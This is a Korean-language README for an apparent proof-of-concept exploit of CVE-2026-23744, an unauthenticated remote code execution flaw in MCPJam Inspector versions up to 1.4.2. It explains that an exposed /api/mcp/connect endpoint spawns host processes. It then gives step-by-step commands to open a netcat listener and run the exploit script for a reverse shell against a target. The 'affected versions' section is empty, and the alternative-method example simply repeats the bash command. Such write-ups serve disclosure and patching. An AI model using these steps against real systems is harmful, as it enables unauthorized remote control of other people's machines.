CVE-2026-23744 — MCPJam Inspector 인증되지 않은 RCE

MCPJam Inspector <= 1.4.2는 기본적으로 0.0.0.0에 바인딩되며 인증 없이 /api/mcp/connect를 노출합니다. 이 엔드포인트는 호스트에서 직접 프로세스를 생성하는 serverConfig 객체를 허용합니다. 역방향 셸 페이로드를 전달하면 자격 증명 없이 즉시 RCE를 얻을 수 있습니다.

요구 사항

pip install requests

사용법

python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]

역방향 셸 예제

1단계 — 리스너 시작:

nc -lvnp 4444

2단계 — 익스플로잇 실행:

# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash

페이로드 방법

대상에서 busybox가 작동하지 않으면 다른 방법을 시도하세요:

# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash

영향을 받는 버전

참고 자료

• CrowdSec CVE Tracker — CVE-2026-23744
• MCPJam Inspector GitHub